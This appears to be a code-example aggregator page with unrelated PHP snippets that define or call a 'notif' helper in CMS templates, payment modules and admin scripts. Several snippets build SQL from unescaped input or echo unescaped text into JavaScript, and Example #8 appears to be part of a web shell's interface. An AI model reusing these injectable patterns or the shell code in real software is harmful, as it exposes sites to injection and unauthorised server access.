Example #1
1
function test($serviceId)
{
    $tableau = Connexion::query('select url,port,texte,trl from services where id=\'' . $serviceId . '\'');
    $url = $tableau[0][0];
    $port = $tableau[0][1];
    $texte = $tableau[0][2];
    $ping = ping($url, $port, $texte, $tableau[0][3]);
    $date = date('Y-m-d');
    $heure = date('H:i:s');
    $trl = $ping[2];
    $etat = $ping[0] == true ? 1 : 0;
    $codeHttp = strlen($ping[1]) != 3 ? '500' : $ping[1];
    Connexion::exec('insert into tests (service_id,date,heure,trl,etat,codeHttp) values (\'' . $serviceId . '\',\'' . $date . '\',\'' . $heure . '\',\'' . $trl . '\',\'' . $etat . '\',\'' . $codeHttp . '\')');
    if ($ping[0] == false or $trl * 1000 > $tableau[0][3] or $codeHttp != '200') {
        $res = false;
    } else {
        $res = true;
        validation($serviceId, $date, $heure);
    }
    if ($res == false) {
        notif($serviceId, $date, $heure);
        erreur($serviceId, $date, $heure);
    }
    return $res;
}
<?php

include "../mysqli_connect.php";
function notif($pesan, $id_usul)
{
    echo "\n            <script type='text/javascript'>\n               alert(\"" . $pesan . "\");\n\t\t\t   document.location.href = '../../?mod=usulan_pangkat_tambah_pegawai&id_usulan=" . $id_usul . "';\n            </script>\n        ";
}
$id_usulan = $_GET['id_usulan'];
$id_detail = $_GET['id_detail'];
$sql = "DELETE FROM tbl_detail_usulan_pangkat WHERE id_detail = ?";
$stm = $con->prepare($sql);
$stm->bind_param('i', $id_detail);
$query = $stm->execute();
if ($query) {
    notif("Data Pegawai telah dibuang dari daftar usulan pegawai", $id_usulan);
} else {
    notif("Error Query, proses hapus pegawai gagal !!", $id_usulan);
}
Example #3
0
$params_get_files = array();
$params_get_files['directory'] = $path_restirct . $path;
if (isset($params['search'])) {
    $params_get_files['search'] = $params['search'];
}
if (isset($params['sort_by'])) {
    $params_get_files['sort_by'] = $params['sort_by'];
}
if (isset($params['sort_order'])) {
    $params_get_files['sort_order'] = $params['sort_order'];
}
if (isset($params_get_files['directory']) and !is_dir($params_get_files['directory'])) {
    notif('You are trying to open invalid folder', 'error');
} else {
    if (isset($params_get_files['directory']) and is_dir($params_get_files['directory']) and !is_writable($params_get_files['directory'])) {
        notif('Your folder is not writable. You wont be able to upload in it.', 'warning');
    }
}
//  $params['keyword']
$data = mw('Microweber\\Utils\\Files')->get($params_get_files);
$path_nav = explode(DS, $path);
?>
<script>

PreviousFolder = [];


</script>


Example #4
0
 
<?php 
$paypal_is_test = get_option('paypalexpress_testmode', 'payments') == 'y';
?>

<div>
    <p class="alert alert-warning"><small><strong> *<?php 
_e("Note");
?>
 </strong><?php 
_e("Your shopping cart will be emptied when you complete the order");
?>
</small> </p>
</div>




<?php 
if ($paypal_is_test == true and is_admin()) {
    ?>
 <?php 
    print notif("You are using Paypal Express in test mode!");
}
Example #5
0
          <?php 
        }
        ?>
        </h2>
        <span class="mw-ui-btn mw-ui-btn-invert show-on-hover single-update-install">
        <?php 
        _e("Install Update");
        ?>
        </span></td>
    </tr>
    <?php 
    }
    ?>
    <?php 
}
?>
    <?php 
if ($is_up_to_date == true) {
    ?>
    <tr class="mw-table-head">
      <td colspan="3"><?php 
    print notif('Everything is up to date');
    ?>
</td>
    </tr>
    <?php 
}
?>
  </table>
</form>
<?php

session_start();
include "../koneksi.php";
include "../fungsi.php";
// notification process function
function notif($pesan)
{
    echo "\n            <script type='text/javascript'>\n               alert(\"" . $pesan . "\");\n\t\t\t   document.location.href = '../../?mod=daftar_kpk';\n            </script>\n        ";
}
// all data
$id_usulan = mysql_real_escape_string($_POST['id_usulan']);
$no_usulan = mysql_real_escape_string($_POST['no_usulan']);
$tgl = mysql_real_escape_string($_POST['tgl_usulan']);
$nama_pejabat_ttd = mysql_real_escape_string($_POST['nama_pejabat_ttd']);
$nip_pejabat_ttd = mysql_real_escape_string($_POST['nip_pejabat_ttd']);
$jabatan_ttd = mysql_real_escape_string($_POST['jabatan_ttd']);
$id_pangkat_ttd = $_POST['id_pangkat_ttd'];
$sql = "UPDATE tbl_usulan_pangkat SET no_usulan = '{$no_usulan}', tgl_usulan = '{$tgl}', nama_pejabat_ttd = '{$nama_pejabat_ttd}' , \n\t\t\tnip_pejabat_ttd = '{$nip_pejabat_ttd}', jabatan_ttd = '{$jabatan_ttd}', id_pangkat_ttd = '{$id_pangkat_ttd}' WHERE id_usulan = '{$id_usulan}'";
$update = mysql_query($sql);
if ($update) {
    $pesan = "Data usulan kenaikan pangkat dengan ID " . $id_usulan . " berhasil di edit";
    notif($pesan);
} else {
    notif("ERROR QUERY, proses update data gagal !!");
}
<?php

include "../mysqli_connect.php";
function notif($pesan, $id_usul)
{
    echo "\n            <script type='text/javascript'>\n                alert(\"" . $pesan . "\");\n\t\t\t\tdocument.location.href = '../../?mod=usulan_pmk_tambah_pegawai&id_usul=" . $id_usul . "';\n            </script>\n        ";
}
$nomor = $_GET['nomor'];
$id_usul = $_GET['id_usulan'];
$sql = "DELETE FROM tbl_detail_usul_pmk WHERE nomor = ?";
$stm = $con->prepare($sql);
/* trigger if query false */
if ($stm === false) {
    trigger_error('Wrong SQL: ' . $sql . ' Error: ' . $con->error, E_USER_ERROR);
}
//bind param
$stm->bind_param('i', $nomor);
$query = $stm->execute();
if ($query) {
    notif("Pegawai Berhasil Dihapus !!", $id_usul);
} else {
    notif("Query Error, terjadi kesalahan dalam menghapus data !!", $id_usul);
}
Example #8
0
                $s_letters .= "<span class='drive-letter'>" . $s_letter . "</span>";
            }
            $s_letters .= " ]</a> ";
        }
    }
    // print useful info
    $s_info = "<table class='headtbl'><tr><td>" . $s_system . "</td></tr>";
    $s_info .= "<tr><td>" . $s_software . "</td></tr>";
    $s_info .= "<tr><td>server ip : " . $s_server_ip . "<span class='gaya'> | </span>your   ip : " . $s_my_ip;
    $s_info .= "<span class='gaya'> | </span> Time @ Server : " . @date("d M Y H:i:s", time());
    $s_info .= "</td></tr>\n\t\t\t<tr><td style='text-align:left;'>\n\t\t\t\t<table class='headtbls'><tr>\n\t\t\t\t<td>" . trim($s_letters) . "</td>\n\t\t\t\t<td>\n\t\t\t\t<span id='chpwd'>\n\t\t\t\t&nbsp;<a href=\"javascript:tukar_('chpwd','chpwdform')\">\n\t\t\t\t<span class='icon'>o</span>\n\t\t\t\t&nbsp;&nbsp;</a>" . swd($s_cwd) . "</span>\n\t\t\t\t<form action='" . $s_self . "' method='post' style='margin:0;padding:0;'>\n\t\t\t\t<span class='sembunyi' id='chpwdform'>\n\t\t\t\t&nbsp;<a href=\"javascript:tukar_('chpwdform','chpwd');\">\n\t\t\t\t<span class='icon'>o</span>\n\t\t\t\t</a>&nbsp;&nbsp;\n\t\t\t\t<input type='text' name='view' class='inputz' style='width:300px;' value='" . hss($s_cwd) . "' />\n\t\t\t\t<input class='inputzbut' type='submit' name='submit' value='view file / folder' />\n\t\t\t\t</span>\n\t\t\t\t</form>\n\t\t\t\t</td></tr>\n\t\t\t\t</table>\n\t\t\t</td></tr>\n\t\t\t</table>";
}
$s_error = @ob_get_contents();
$s_result = isset($s_result) ? $s_result : "";
if (!empty($s_error)) {
    $s_result = notif($s_error) . $s_result;
}
@ob_end_clean();
@ob_start();
?>
<!DOCTYPE html>
<html>
<head>
<title><?php 
echo $s_title;
?>
</title>
<meta charset="utf-8">
<meta name='robots' content='noindex, nofollow, noarchive'>
<link rel='SHORTCUT ICON' href='<?php 
echo $s_favicon;
Example #9
0
        if (isset($item['description']) and $item['description'] != '') {
            ?>
              <br>
<small><?php 
            print html_entity_decode($item['description']);
            ?>
</small>
              <?php 
        }
        ?>
          </div>
          
          </td>
  
        <td><a href="javascript:mw.log_item_delete('<?php 
        print $item['id'];
        ?>
');" class="show-on-hover mw-icon-close"></a></td>
      </tr>
      <?php 
    }
    ?>
    </tbody>
  </table>
</div>
<?php 
} else {
    print notif("Your system log is empty");
}
?>
 
Example #10
0
<script src="<?php 
print $config['url_to_module'];
?>
js/jquery.insects.js"></script>
<link rel="stylesheet" type="text/css" href="<?php 
print $config['url_to_module'];
?>
css/jquery.insects.css" />
<?php 
$how_many_ants = get_option('number_of_ants', $params['id']);
if ($how_many_ants == false or $how_many_ants == '' or intval($how_many_ants) == 0) {
    $how_many_ants = 5;
}
?>
<script type="text/javascript">
	$(document).ready(function () {
	 $('#<?php 
print $params['id'];
?>
').insectify({chance: 1, squishable:1,"max-speed":10, 'mouse-distance':20, 'max-insects': <?php 
print intval($how_many_ants);
?>
});
	});
</script>
<?php 
if (is_admin()) {
    print notif("Click here to edit the Ants");
}
Example #11
0
<?php

function notif($modul)
{
    global $db;
    $service = cryptage($_SESSION['service'], 0);
    $querynotif = "SELECT count({$modul}.id) as nbr FROM {$modul}, rules WHERE {$modul}.etat = rules.etat and rules.notif = 1 AND rules.service = {$service} and rules.app='{$modul}'  and rules.active = 1";
    $nbr = $db->QuerySingleValue0($querynotif);
    //return $nbr;
    exit($nbr);
}
if (tg('nae') == '1') {
    notif('aemploi');
}
if (tg('nde') == '1') {
    notif('demploi');
}
?>






 
Example #12
0
          </div>
      </div>
    </div>


    <div class="form-group">
      <label><?php 
_e("Verification Code");
?>
</label>
      <input name="cc_verification_value"  type="text" value="" class="field-full form-control" />
      <div class="cc_process_error"></div>
    </div></div>


<?php 
$paypal_is_test = get_option('paypalpro_testmode', 'payments') == 'y';
?>
 
<?php 
if ($paypal_is_test == true and is_admin()) {
    print notif("You are using Paypal Pro in test mode!");
}
?>






Example #13
0
          <?php 
        }
        ?>
        </h2>
        <span class="mw-ui-btn mw-ui-btn-invert show-on-hover single-update-install">
        <?php 
        _e("Install Update");
        ?>
        </span></td>
    </tr>
    <?php 
    }
    ?>
    <?php 
}
?>
    <?php 
if ($is_up_to_date == true) {
    ?>
    <tr class="mw-table-head">
      <td colspan="3"><?php 
    print notif(_e("Everything is up to date", 1));
    ?>
</td>
    </tr>
    <?php 
}
?>
  </table>
</form>
Example #14
0
<?php

//include(dirname(__DIR__).DS.'lib'.DS.'omnipay'.DS.'cc_form_fields.php');
$is_test = get_option('przelewy24_testmode', 'payments') == 'y';
?>

<div>
    <p class="alert alert-warning"><small><strong> *<?php 
_e("Note");
?>
 </strong><?php 
_e("Your shopping cart will be emptied when you complete the order");
?>
</small> </p>
</div>




<?php 
if ($is_test == true and is_admin()) {
    ?>
 <?php 
    print notif("You are using Przelewy24 in test mode!");
}
Example #15
0
<?php

function notif($modul)
{
    global $db;
    $service = cryptage($_SESSION['service'], 0);
    $querynotif = "SELECT count({$modul}.id) as nbr FROM {$modul}, rules WHERE {$modul}.etat = rules.etat and rules.notif = 1 AND rules.service = {$service} and rules.app='{$modul}'  and rules.active = 1";
    $nbr = $db->QuerySingleValue0($querynotif);
    //return $nbr;
    return $nbr;
}
echo notif('depense');
?>






 
<?php

if (is_admin() == false) {
    return false;
}
$rand = uniqid();
if (!isset($params['for-module']) or !isset($params['for-module-id'])) {
    print notif('Error: in module "' . $config['module'] . '" - You must set "for-module" and "for-module-id" parameters on this module', 'error');
    return;
}
?>
<script  type="text/javascript">
  mw.require("forms.js",true);
</script>
<?php 
//$rand = uniqid();
?>
<script  type="text/javascript">


isCreating = false;


function mw_create_new_list_<?php 
print $rand;
?>
(){
  if(!isCreating){

      isCreating = true;
	  mw.form.post('.mw_create_new_forms_list<?php